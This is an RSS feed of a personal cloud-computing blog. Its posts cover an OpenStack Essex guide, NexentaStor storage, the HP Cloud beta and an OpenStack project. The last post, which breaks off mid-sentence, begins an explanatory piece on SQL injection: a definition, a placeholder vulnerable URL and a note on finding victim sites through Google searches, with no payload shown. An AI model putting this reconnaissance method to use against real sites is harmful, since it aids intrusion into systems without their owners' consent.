<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>My1&#039; Blog : Cloud Computing, Sécurité, Web &#187; Linux</title>
	<atom:link href="http://my1.fr/blog/category/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://my1.fr/blog</link>
	<description>Keep alive !</description>
	<lastBuildDate>Wed, 02 May 2012 19:35:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Openstack Essex &#8211; Guide for Ubuntu 12.04</title>
		<link>http://my1.fr/blog/openstack-essex-guide-for-ubuntu-12-04/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=openstack-essex-guide-for-ubuntu-12-04</link>
		<comments>http://my1.fr/blog/openstack-essex-guide-for-ubuntu-12-04/#comments</comments>
		<pubDate>Mon, 30 Apr 2012 07:43:08 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Openstack]]></category>
		<category><![CDATA[Virtualisation]]></category>
		<category><![CDATA[essex]]></category>
		<category><![CDATA[quantum]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=572</guid>
		<description><![CDATA[It has been a long time since I didn&#8217;t write something here. But today, I&#8217;m proud to release my first documentation on OpenStack. I&#8217;ve been working for three weeks with StackOps for my internship, and my work is about Quantum (Networking as a service in OpenStack). &#160; It was quite difficult to have a working [...]]]></description>
			<content:encoded><![CDATA[<p>It has been a long time since I didn&#8217;t write something here.</p>
<p>But today, I&#8217;m proud to release my first documentation on <strong><a title="Openstack" href="http://openstack.org/" target="_blank">OpenStack</a></strong>.</p>
<p>I&#8217;ve been working for three weeks with <strong><a title="StackOps" href="http://www.stackops.com/" target="_blank">StackOps</a></strong> for my internship, and my work is about <strong>Quantum</strong> (Networking as a service in OpenStack).</p>
<p>&nbsp;</p>
<p>It was quite difficult to have a working infrastructure because Quantum is only in &laquo;&nbsp;<em>incubation</em>&nbsp;&raquo; for Essex release. That&#8217;s why I release a documentation in which anyone can test this fabulous software.</p>
<p>You can find this documentation with all configuration files &amp; scripts <a title="My github" href="https://github.com/EmilienM/doc-openstack" target="_blank">here</a>.</p>
<p>Or read it directly here :</p>

<iframe src="http://docs.google.com/viewer?url=http://my1.fr/blog/wp-content/uploads/2012/05/How-to-setup-OpenStack-Essex.pdf&hl=en_US&embedded=true" class="gde-frame" style="width:100%; height:500px; border: none;" scrolling="no"></iframe>

<p class="gde-text"><a href="http://my1.fr/blog/wp-content/uploads/2012/05/How-to-setup-OpenStack-Essex.pdf" target="_blank" class="gde-link">Download (PDF, 320.87KB)</a></p>
<p>&nbsp;</p>
<p><strong>Share &amp; Enjoy !</strong></p>
<p>N.B. : Thank&#8217;s to <a title="The team" href="http://www.stackops.com/company/stackops-team/" target="_blank">StackOps team</a> for the welcome in Madrid.</p>
<p><strong>Please let me know if you can find some mistakes, and of course I will correct it.</strong></p>
<div id="wrtranslator-translate" style="left: 189px; top: -25px;"><a href="http://www.wordreference.com/enfr/mistakes#article" target="_blank">Traduire</a></div>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/openstack-essex-guide-for-ubuntu-12-04/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Open-Storage avec NexentaStor</title>
		<link>http://my1.fr/blog/open-storage-avec-nexentastor/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=open-storage-avec-nexentastor</link>
		<comments>http://my1.fr/blog/open-storage-avec-nexentastor/#comments</comments>
		<pubDate>Wed, 22 Feb 2012 15:03:43 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tests]]></category>
		<category><![CDATA[Virtualisation]]></category>
		<category><![CDATA[nexanta]]></category>
		<category><![CDATA[nexantastor]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[stcokage]]></category>
		<category><![CDATA[storage]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=535</guid>
		<description><![CDATA[&#160; &#160; Toujours dans mon projet de formation sur OpenStack, j&#8217;ai décidé de me concentrer sur la partie stockage d&#8217;une infrastructure. &#160; &#160; &#160; Je recherchais une solution qui répondait à ces critères : Environnement Open-Source Respect des standards Compatibilité avec les IaaS du marché (on verra plus tard que j&#8217;ai testé VMware &#38; OpenStack) [...]]]></description>
			<content:encoded><![CDATA[<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Toujours dans mon projet de formation sur OpenStack, j&#8217;ai décidé de me concentrer sur la partie stockage d&#8217;une infrastructure.<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
<strong>Je recherchais une solution qui répondait à ces critères :</strong></p>
<ul>
<li>Environnement Open-Source</li>
<li>Respect des standards</li>
<li>Compatibilité avec les IaaS du marché (on verra plus tard que j&#8217;ai testé VMware &amp; OpenStack)</li>
<li>Bien documenté, et si possible un forum bien actif</li>
</ul>
<p><strong>J&#8217;ai donc choisis de tester <a title="NexentaStor" href="http://www.nexenta.com/corp/nexentastor" target="_blank">NexentaStore Enterprise Edition</a> dans sa version d&#8217;essai.</strong></p>
<p><strong>Ce que j&#8217;ai eu en plus avec Nexenta :</strong></p>
<ul>
<li>Une interface d&#8217;administration &amp; de configuration user-friendly (Web-GUI)</li>
<li>Une liste très impressionnante de plugins (gratuits &amp; payants) qui apportent des fonctionnalités non-négligeables</li>
<li>La chance de pouvoir tester NexentaStor Enterprise Edition gratuitement pendant 45 jours.</li>
<li>L&#8217;immense chance de pouvoir tester le plugin &laquo;&nbsp;HA Cluster&nbsp;&raquo; (que nous verrons plus tard) pendant 45 jours également (merci à l&#8217;équipe de Nexenta de m&#8217;avoir aidé).</li>
</ul>
<p>&nbsp;</p>
<blockquote>
<h2>Qu&#8217;est-ce que l&#8217;Open-Storage ?</h2>
</blockquote>
<p><strong>Pour résumer l&#8217;Open-Storage avec des mots simples :</strong><br />
Fournir du stockage de manière standard, provenant de différentes sources, propriétaires ou libres. C&#8217;est donc s&#8217;affranchir du matériel propriétaire et hétérogène, pour rationaliser ses ressources en stockage.<br />
L&#8217;Open-Storage est donc une solution <strong>économique</strong> de se créer une baie de disque hautement disponible et tolérante aux pannes, à partir de différentes sources de stockage.<br />
En résumé, voici 3 avantages liés à l&#8217;Open-Storage :</p>
<ul>
<li>Votre stockage devient ouvert et accessible, grâce aux standards de l&#8217;industrie du stockage.</li>
<li>Vous dessinez vous-même votre architecture de stockage. Il n&#8217;y a donc aucune limite à votre infrastructure !</li>
<li>Votre Hardware devient flexible, dans la mesure où tout changement devient transparent pour l&#8217;utilisateur final.</li>
</ul>
<h2></h2>
<p>&nbsp;</p>
<blockquote>
<h2>Cas concret :</h2>
</blockquote>
<p>Je dispose actuellement d&#8217;une baie de stockage EMC, avec des disques plutôt performants en lecture / écriture. A coté de ça, j&#8217;ai récupéré une baie de disques SSD (très rapides donc), et enfin une baie assez ancienne comprenant des vieux disques toujours opérationnels.</p>
<p><strong>Dans mon réseau, je souhaite fournir du stockage :</strong></p>
<ul>
<li>assez performant pour mes serveurs ESXi pour le stockage des machines virtuelles.</li>
<li>plutôt rapide pour mon infrastructure VDI, fournie par VMware View</li>
<li>lent, mais facilement extensible pour du Cloud storage (exemple : Dropbox, Ubuntu One, SkyDrive, etc).</li>
</ul>
<p>&nbsp;</p>
<blockquote>
<h2>Ce que fait NexentaStore :</h2>
</blockquote>
<p><strong>Pour commencer les présentations, il est bon de rappeler les bases.</strong></p>
<p>NexentaStor est une appliance, basée sur OpenSolaris. Étant payante, j&#8217;ai donc usé de la licence Trial qui m&#8217;a permis de tester le produit dans sa totalité pendant 45 jours.</p>
<p>Il existe une version gratuite, <a title="Community Edition" href="http://www.nexentastor.org/projects/site/wiki/CommunityEdition" target="_blank">NexentaStor Community Edition</a> qui permet de fournir jusqu&#8217;à 18To de stockage (Raw). Attention, je n&#8217;évoquerai pas ce produit dans cet article car il ne supporte pas l&#8217;ajout des plugins type &laquo;&nbsp;HA Cluster&nbsp;&raquo; &amp; autre.</p>
<p>Pour voir la liste complète des fonctionnalités, vous pouvez directement le lire sur le <a title="Site officiel" href="http://www.nexenta.com/corp/nexentastor" target="_blank">site officiel</a>. Cependant, voici les points intéressants de ce produit :</p>
<ul>
<li>Système de fichiers ZFS 128 bits</li>
<li>Aucune limite de stockage (ni eu capacité de stockage, ni en taille de fichier)</li>
<li>Compatible SAN (iSCSI &amp; FC) &amp; NAS (NFS, CIFS, WebDAV et FTP)</li>
<li>Optimisation du stockage (compression, dé-duplication)</li>
<li>Création de Pools de stockage (pour améliorer les performances)</li>
<li>Snapshots à chaud</li>
<li>Réplication synchrone et asynchrone (pour faciliter le Disaster Recovery)</li>
<li>Intégrité des données</li>
<li>De nombreux plugins très puissants (je reviendrai plus tard vers le plugin HA Cluster)</li>
<li>Et enfin, ce que j&#8217;ai vraiment apprécié : intégration avec VMware, Xen, OpenStack et Hyper-V.</li>
</ul>
<p>Avec NexentaStor, je vais être capable de rationaliser le stockage que j&#8217;ai à ma disposition, de le rendre hautement disponible et tolérant aux pannes, et enfin de le distribuer vers des hôtes à travers des protocoles standards et connus de tous.</p>
<p>&nbsp;</p>
<blockquote>
<h2>Mon infrastructure</h2>
</blockquote>
<p>Des fois, un bon vieux dessin vaut mieux qu&#8217;un gros pavé. Donc j&#8217;ai pris Visio pour vous montrer mon architecture :</p>
<p style="text-align: center;"><img class="aligncenter  wp-image-539" title="nexenta" src="http://my1.fr/blog/wp-content/uploads/2012/02/nexenta.png" alt="" width="491" height="442" /></p>
<ul>
<li>Je dispose d&#8217;une baie EMC avec des disques dur SAS en RAID 5, ainsi qu&#8217;une autre baie avec des disques SSD.</li>
<li>Mes 2 appliances sont virtualisées dans mon infrastructure VMware, et sont en cluster avec le plugin HA.</li>
<li>Je fournis du stockage pour les clients légers (VDI), mes VMs &amp; volumes (pour OpenStack), et pour du Cloud Storage.</li>
</ul>
<p>&nbsp;</p>
<blockquote>
<h2>Ce que j&#8217;ai testé :</h2>
</blockquote>
<p>Dans un premier temps, j&#8217;ai testé :</p>
<ul>
<li>les fonctionnalités de base : Mapping de volumes over iSCSI, partage de fichier CIFS (dans un domaine 2008 R2 Natif), et NFS.</li>
<li>Ensuite, j&#8217;ai fait la demande au service commercial de Nexenta pour tester gratuitement le plugin HA Cluster (qui coûte 4900 $). Il m&#8217;a permis de rendre hautement disponible le stockage que je met à disposition sur on réseau.</li>
</ul>
<p>Je vais m&#8217;attarder sur ce plugin car je l&#8217;ai trouvé particulièrement puissant :</p>
<ul>
<li>L&#8217;installation se fait assez aisément, mais il faut au préalable avoir lu la documentation officielle (comme d&#8217;hab, RTFM !!!), sinon vous aurez des erreurs.</li>
<li>J&#8217;ai été agréablement surpris. Tout a fonctionné du 1er coup : l&#8217;installation du plugin, la configuration de la mise en cluster des 2 appliances, la création des volumes à partager, et la configuration dans VMware ESX (la configuration du <a href="http://en.wikipedia.org/wiki/Multipath_I/O"><em>Multipath</em></a> se fait toute seule).</li>
<li>J&#8217;ai testé le basculement vers le serveur secondaire en mode Failover automatique et l&#8217;interruption de service était de 8 secondes (le temps pour l&#8217;IP Failover de switcher vers l&#8217;autre serveur). J&#8217;ai vraiment aimé le principe de pouvoir utiliser les cartes réseaux en Failover et continuer à fournir le stockage depuis le serveur principal. Si c&#8217;est le serveur en entier qui n&#8217;est pas accessible, l&#8217;autre prendra le relais et le service ne sera pas stoppé.</li>
</ul>
<p>Voici une capture d&#8217;écran du dashboard du plugin HA Cluster (Cliquez-sur l&#8217;image pour agrandir) :</p>
<p style="text-align: center;"><a href="http://my1.fr/blog/wp-content/uploads/2012/02/nexenta-ha.png" target="_blank"><img class="aligncenter  wp-image-557" title="nexenta-ha" src="http://my1.fr/blog/wp-content/uploads/2012/02/nexenta-ha.png" alt="" width="904" height="327" /></a></p>
<p style="text-align: left;">Par rapport à ce plugin, je dirais qu&#8217;il va à l&#8217;essentiel : il fonctionne et permet réellement de faire de la HA au niveau storage.</p>
<ul>
<li>Autre plugin très intéressant : <strong>VMDC</strong> (Virtual Machines Datastore Center). Il permet de gérer les datastores d&#8217;un hyperviseur directement depuis l&#8217;IHM de NexentaStor. Il est compatible avec VMware, Xen et Hyper-V. Suivant l&#8217;API de l&#8217;hyperviseur, certaines fonctionnalités sont disponibles en plus, comme l&#8217;arrêt ou le redémarrage des VMs.</li>
</ul>
<p>&nbsp;</p>
<p style="text-align: center;"><a href="http://my1.fr/blog/wp-content/uploads/2012/02/nexenta-vm.png"><img class="aligncenter  wp-image-560" title="nexenta-vm" src="http://my1.fr/blog/wp-content/uploads/2012/02/nexenta-vm.png" alt="" width="850" height="274" /></a></p>
<p>&nbsp;</p>
<ul>
<li>Je garde le meilleur pour la fin&#8230; le plugin OpenStack, qui permet d&#8217;intégrer du stockage fournis par NexentaStor dans une infrastructure OpenStack, et plus particulièrement pour le service <strong>nova-volumes</strong> (qui fournit des block devices aux VMs). De base, le driver est capable de créer des volumes, de les supprimer, et de réaliser des snapshots, et tout ça grâce aux REST API. Je rajouterai encore quelque chose de très pertinent : la distribution <a title="Site officiel de StackOps Technologies" href="http://www.stackops.com/" target="_blank">StackOps </a>intègre nativement le driver <strong>NexentaVolumeDriver</strong>, et permet dès le <strong>SmartInstaller</strong> d&#8217;indiquer où se trouve le serveur <strong>NexentaStor</strong>.</li>
</ul>
<p>&nbsp;</p>
<blockquote>
<h2>Ce que j&#8217;en pense :</h2>
</blockquote>
<p>Vous l&#8217;aurez compris&#8230; <strong>que du bien</strong> !</p>
<p>Non, plus sérieusement. NexentaStor est un produit de qualité, et je pense qu&#8217;en s&#8217;ouvrant aux différentes technologies, il s&#8217;offre un bel avenir devant lui, et continuera de séduire tous ceux qui ne peuvent pas s&#8217;offrir des baies de stockages propriétaires. Ce que j&#8217;ai vraiment aimé, c&#8217;est la compatibilité avec les différents protocoles de transport de fichiers (NFS, CIFS, FTP, WebDAV) et également les technologies SAN (iSCSI &amp; FC). De plus, ses plugins font de NexentaStor une solution flexible, et ouverte à un environnement hétérogène. Peu importe votre matériel et vos outils déjà en place : il sait s&#8217;adapter, et offrir ce qu&#8217;il sait faire de mieux : du <strong>stockage hautement disponible</strong>.</p>
<p>&nbsp;</p>
<blockquote>
<h2>Les alternatives :</h2>
</blockquote>
<p>Il existe plusieurs alternatives, mais j&#8217;en ai testé une Open-Source, et une propriétaire.</p>
<p>Il s&#8217;agit de <a title="FreeNAS" href="http://www.freenas.org/" target="_blank"><strong>FreeNAS</strong></a>, et de <a title="Site officiel de Datacore" href="http://www.datacore.com/Software/Products/SANsymphony-V.aspx" target="_blank"><strong>Datacore SAN-Symphony-V</strong></a>.</p>
<ul>
<li>Concernant FreeNAS, ses fonctionnalités ne sont pas aussi poussées que les produits de Nexenta.</li>
<li>Pour SAN-Symphony-V de Datacore, j&#8217;ai eu la chance d&#8217;avoir un cours sur le produit, ainsi qu&#8217;un TP à l&#8217;université. Je dois dire que le software est impressionnant, et qu&#8217;il fournit du stockage de manière performante et hautement disponible grâce à la mise en cluster. Il ne manquerait plus qu&#8217;une interopérabilité avec d&#8217;autres acteurs du  Cloud comme le fait Nexenta avec ses plugins vus précédemment, ainsi qu&#8217;une REST-API (le seul moyen d&#8217;administrer le stockage sous SSV étant le Powershell ou la GUI en dotnet depuis Windows). J&#8217;ai eu l&#8217;occasion de créer du stockage à partir de SAN-Symphony pour OpenStack nova-volumes, mais je n&#8217;ai pas fait de benchmark pour le comparer avec le produit Nexenta.</li>
</ul>
<p>&nbsp;</p>
<p>Si des gurus du Cloud lisent cet article, n&#8217;hésitez pas à laisser votre commentaire !<br />
&nbsp;<br />
Je vous laisse, je retourne dans mes nuages <img src='http://my1.fr/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/open-storage-avec-nexentastor/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Test de la Beta HP Cloud Services</title>
		<link>http://my1.fr/blog/test-de-la-beta-hp-cloud-services/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=test-de-la-beta-hp-cloud-services</link>
		<comments>http://my1.fr/blog/test-de-la-beta-hp-cloud-services/#comments</comments>
		<pubDate>Tue, 31 Jan 2012 20:15:09 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Tests]]></category>
		<category><![CDATA[Virtualisation]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=516</guid>
		<description><![CDATA[Grâce à une personne très gentille, j&#8217;ai la chance de pouvoir tester le nouveau Cloud d&#8217;HP qui sera bientôt disponible à tous. Pour rappel, HP se lance dans le Cloud public avec l&#8217;arrivée d&#8217;HP Cloud Services qui propose tout comme ses concurrents (RackSpace, IBM, &#8230;) un cloud de type IaaS (Infrastructure As A Service). &#160; [...]]]></description>
			<content:encoded><![CDATA[<p>Grâce à une personne très gentille, j&#8217;ai la chance de pouvoir tester le nouveau Cloud d&#8217;HP qui sera bientôt disponible à tous.</p>
<p>Pour rappel, HP se lance dans le Cloud public avec l&#8217;arrivée d&#8217;HP Cloud Services qui propose tout comme ses concurrents (RackSpace, IBM, &#8230;) un cloud de type <strong>IaaS</strong> (Infrastructure As A Service).</p>
<p>&nbsp;</p>
<p>Je me suis donc précipité sur l&#8217;invitation, et j&#8217;ai créé mon compte afin de tester tout ça.</p>
<p>Pour tout vous avouer, ce qui m&#8217;a le plus motivé à tester le produit, c&#8217;est évidemment le fait qu&#8217;il soit basé sur OpenStack.</p>
<p>Je vous rapporte donc ce que j&#8217;ai testé, et les différentes fonctionnalités que j&#8217;ai appréciées ou celle que je n&#8217;ai pas vues.</p>
<p>&nbsp;</p>
<p><strong>Résultats du test :</strong></p>
<p>- <strong>Compute</strong> :</p>
<ul>
<li>2 clusters localisés à l&#8217;ouest des USA (pour l&#8217;instant).</li>
<li>Pour ma part, aucun problème de latence.</li>
<li>6 tailles de serveurs (j&#8217;ai testé la standard.xsmall ainsi que la standard.large)</li>
<li>Plusieurs images disponibles, toutes basées sur Linux (Ubuntu, CentOS)</li>
<li>1 IP publique par VM ! Pour le coup, j&#8217;ai vraiment été surpris.</li>
<li>la gestion des VMs peut se faire via API (avec euca2ools) sinon depuis le dashboard d&#8217;HP qui est plutôt bien fait.</li>
<li>On accède aux VMs par SSH (avec la clé privée qu&#8217;il faut télécharger), et le terminal est bien renseigné (facturation, ressources consommées, charge en temps réel&#8230;)</li>
<li>Voici mes critiques : impossibilité de faire des snapshots des VMs (pour l&#8217;instant j&#8217;imagine), pas moyen pour le moment de créer des volumes, et de les attacher aux VMs (avec la fonction de snapshot si possible).</li>
<li>Ensuite, j&#8217;aurais bien apprécier de pouvoir migrer les VMs entre cluster, mais je n&#8217;ai pas eu de réponse d&#8217;HP concernant cette fonctionnalité&#8230; A voir donc si ce sera possible dans l&#8217;avenir.</li>
</ul>
<p style="text-align: center;"><img class="aligncenter  wp-image-518" title="Compute" src="http://my1.fr/blog/wp-content/uploads/2012/01/Compute.png" alt="" width="722" height="335" /></p>
<p>&nbsp;</p>
<p>-<strong> Cloud storage</strong> :</p>
<ul>
<li>L&#8217;interface Web intègre une gestion de son Cloud Storage.</li>
<li>Les fonctionnalités sont rudimentaires : Envoyer / Télécharger des fichiers depuis cet espace.</li>
<li>J&#8217;imagine que derrière tout ça se cache le module Swift (OpenStack Storage) donc rien à dire de ce coté, si ce n&#8217;est qu&#8217;on ne connaît pas encore la limite de stockage pour l&#8217;offre de base, et il n&#8217;y a pas encore de fonction de partage de fichier. Bref, c&#8217;est une Beta !!</li>
<li>Cela-dit, je suis plutôt content qu&#8217;une interface web soit enfin développée pour gérer du cloud storage avec Swift. Remarquez sur la capture d&#8217;écran que l&#8217;interface est plutôt simple mais assez complète pour l&#8217;instant.</li>
</ul>
<p>&nbsp;</p>
<p style="text-align: center;"><img class="aligncenter  wp-image-519" title="Storage" src="http://my1.fr/blog/wp-content/uploads/2012/01/Storage.png" alt="" width="694" height="405" /></p>
<p>Bien sûr, ces remarques n&#8217;engagent que moi-même, et je suis ouvert à toute discussion.</p>
<p>Dans tous les cas, je suis très heureux de voir OpenStack continu d&#8217;être adopté par les plus grands de ce monde&#8230; Pourvu que ça dure !!!</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/test-de-la-beta-hp-cloud-services/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Présentation d&#8217;OpenStack</title>
		<link>http://my1.fr/blog/presentation-openstack/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=presentation-openstack</link>
		<comments>http://my1.fr/blog/presentation-openstack/#comments</comments>
		<pubDate>Wed, 23 Nov 2011 07:25:07 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Tests]]></category>
		<category><![CDATA[Virtualisation]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Openstack]]></category>
		<category><![CDATA[planete-libre]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=405</guid>
		<description><![CDATA[Introduction Cela fait plusieurs semaines que je travaille sur un projet de Cloud Open-Source, de type IaaS (Infrastructure As A Service). Je dois dire que c&#8217;est un projet très intéressant et surtout prometteur dans un monde où VMware a tendance à écraser le marché. Je trouve génial de pouvoir disposer d&#8217;outils libres et gratuits pour [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Introduction</strong></p>
<p>Cela fait plusieurs semaines que je travaille sur un projet de Cloud Open-Source, de type IaaS (Infrastructure As A Service). Je dois dire que c&#8217;est un projet très intéressant et surtout prometteur dans un monde où VMware a tendance à écraser le marché. Je trouve génial de pouvoir disposer d&#8217;outils libres et gratuits pour comprendre la virtualisation.</p>
<p>&nbsp;</p>
<p>Dans cet article, je vais vous présenter mon projet, et je vous publie aussi le résultat de mon travail (un Powerpoint d&#8217;une cinquantaine de slides qui résume mon étude).</p>
<p>&nbsp;</p>
<p><strong>Mise en situation</strong></p>
<p>Concrètement, il m&#8217;a été demandé par mon directeur de formation d&#8217;installer un service de Cloud Computing Open-Source (avec OpenStack) qui fournirait un catalogue d&#8217;images (Ubuntu Server, Windows 2008 R2, etc) et managable depuis un navigateur Web. Plus concrètement, voici un descriptif du processus :</p>
<ul>
<li>Le client se connecte via un navigateur Web sur un Dashboard</li>
<li>En fonction de son profil, il a le droit ou non de créer des machines virtuelles, de créer des images, des snapshots, de gérer son réseau, etc.</li>
<li>Le client crée une machine virtuelle (exemple : Ubuntu Server) à partir d&#8217;un template, et lui attribue une adresse IP publique.</li>
<li>Il peut accéder à sa VM via SSH et a un accès root au système.</li>
<li>La machine peut être rebootée, et éteinte.</li>
<li>Le client peut consulter ce qu&#8217;il a consommé et voir combien il paiera en fin de mois pour son usage.</li>
</ul>
<p>Plusieurs points sont intéressants, c&#8217;est tout d&#8217;abord le dashboard. Accessible depuis Internet, le client s&#8217;authentifie de manière sécurisée et effectue toutes ses tâches nécessaires. Secundo, le principe de facturation est super intéressant pour une entreprise qui facture à son client en fonction de son utilisation. Enfin, outre le fait que tout les outils sont libres et gratuits, ils sont très compatibles avec les API des autres systèmes (ex : Xen, VMware, etc).</p>
<p>&nbsp;</p>
<p><strong>Mon étude</strong></p>
<p>Je ne vais pas rentrer dans les détails ici, mais plutôt vous donner le lien de téléchargement de mon fichier PDF que j&#8217;ai réalisé pour ma présentation.</p>
<p>Voici un aperçu avec Google Doc (il manque des visuels) :</p>
<p>
<iframe src="http://docs.google.com/viewer?url=http://my1.fr/blog/wp-content/uploads/2011/12/20111115_OpenStack_Briefing_1%C3%A8re_Partie.pdf&hl=en_US&embedded=true" class="gde-frame" style="width:100%; height:500px; border: none;" scrolling="no"></iframe>

<p class="gde-text"><a href="http://my1.fr/blog/wp-content/uploads/2011/12/20111115_OpenStack_Briefing_1%C3%A8re_Partie.pdf" target="_blank" class="gde-link">Download (PDF, 1.09MB)</a></p><br />
<strong>La suite</strong></p>
<p>Dans quelques semaines, je recommence à travailler sur ce projet, et je vais me concentrer sur le nouveau Dashboard (Diablo) qui permet de faire plus de trucs que le module Cloud de Drupal. J&#8217;aimerais aussi me pencher sur la compatibilité avec les autres hyperviseurs, notamment les proprio (ça m&#8217;intrigue !). Enfin, je compte me perfectionner sur la haute disponibilité pour prétendre avoir un Cloud Open-Source performant, disponible, et compatible !</p>
<p>&nbsp;</p>
<p>La suite bientôt&#8230;<br />
PS : Le document fourni est 100% libre de droit, mais en cas de réutilisation, merci de me prévenir <img src='http://my1.fr/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> . Je suis également adepte au remarques et critiques, donc n&#8217;hésitez pas !</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/presentation-openstack/feed/</wfw:commentRss>
		<slash:comments>25</slash:comments>
		</item>
		<item>
		<title>Backtrack &#8211; Injections SQL</title>
		<link>http://my1.fr/blog/backtrack-injections-sql/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=backtrack-injections-sql</link>
		<comments>http://my1.fr/blog/backtrack-injections-sql/#comments</comments>
		<pubDate>Thu, 15 Sep 2011 19:32:05 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sqlmap]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=382</guid>
		<description><![CDATA[Dans l&#8217;article consacré à l&#8217;exploitation de faille, j&#8217;ai évoqué l&#8217;exemple d&#8217;une attaque avec Metasploit sur un système d&#8217;exploitation. Je ne peux pas parler de ce sujet sans aborder les injections SQL. Toutefois, la lecture de ces quelques lignes requiert certaines connaissances en base de données SQL. Je ne ferai aucun rappel sur ce langage. &#160; [...]]]></description>
			<content:encoded><![CDATA[<p>Dans l&#8217;article consacré à l&#8217;exploitation de faille, j&#8217;ai évoqué l&#8217;exemple d&#8217;une attaque avec Metasploit sur un système d&#8217;exploitation.</p>
<p>Je ne peux pas parler de ce sujet sans aborder les injections SQL. Toutefois, la lecture de ces quelques lignes requiert certaines connaissances en base de données SQL. Je ne ferai aucun rappel sur ce langage.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Voici le plan de cet article :</p>
<ul>
<li>Définition</li>
<li>Exploitation</li>
<li>Impact</li>
<li>Se protéger</li>
</ul>
<p>Bien entendu, cet article a pour vocation d&#8217;expliquer comment les hackers font, et comment se protéger des attaques de ce type.</p>
<p>&nbsp;</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Définition</strong></span></li>
</ul>
<p>Une injection SQL est une méthode d&#8217;exploitation d&#8217;une faille de sécurité liée à une base de données. Elle consiste via une application utilisant une base de données SQL à injecter une requête qui permettrait d&#8217;obtenir beaucoup d&#8217;informations allant de la version du serveur jusqu&#8217;à la base de données complète. Nous allons voir dans la partie &laquo;&nbsp;Impact&nbsp;&raquo; ce qui est exploitable également.</p>
<p>Techniquement, une injection SQL via un site web consiste à exploiter une variable non protégée appelée via une URL.</p>
<p>Voici un bref exemple : &laquo;&nbsp;<strong>http://www.target.com/photos.php?id=1</strong>&nbsp;&raquo;</p>
<p>Cette URL affiche par défaut la page d&#8217;identifiant 1 par rapport à la base de données.<br />
En fin de compte, cette URL pourrait ressembler à cette requête SQL :</p>

<div class="wp_codebox_msgheader wp_codebox_hide"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p382code3'); return false;">View Code</a> SQL</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p3823"><td class="code" id="p382code3"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span>
<span style="color: #993333; font-weight: bold;">FROM</span> photos
<span style="color: #993333; font-weight: bold;">WHERE</span> <span style="color: #ff0000;">'id_photos = 1'</span> ;</pre></td></tr></table></div>

<p>Cette requête pourtant simple permet toutefois beaucoup de choses si le code PHP a été mal programmé. Nous y reviendrons plus tard.</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Exploitation</strong></span></li>
</ul>
<p>La meilleure explication est l&#8217;exemple.</p>
<p>Le hacker va tout d&#8217;abord chercher sa victime en fouillant le site Internet cible. Il pourra notamment s&#8217;aider de Google.</p>
<p>Par exemple, il va rechercher sur Google tous les &laquo;&nbsp;gallery.php&nbsp;&raquo; utilisant des ID :<br />
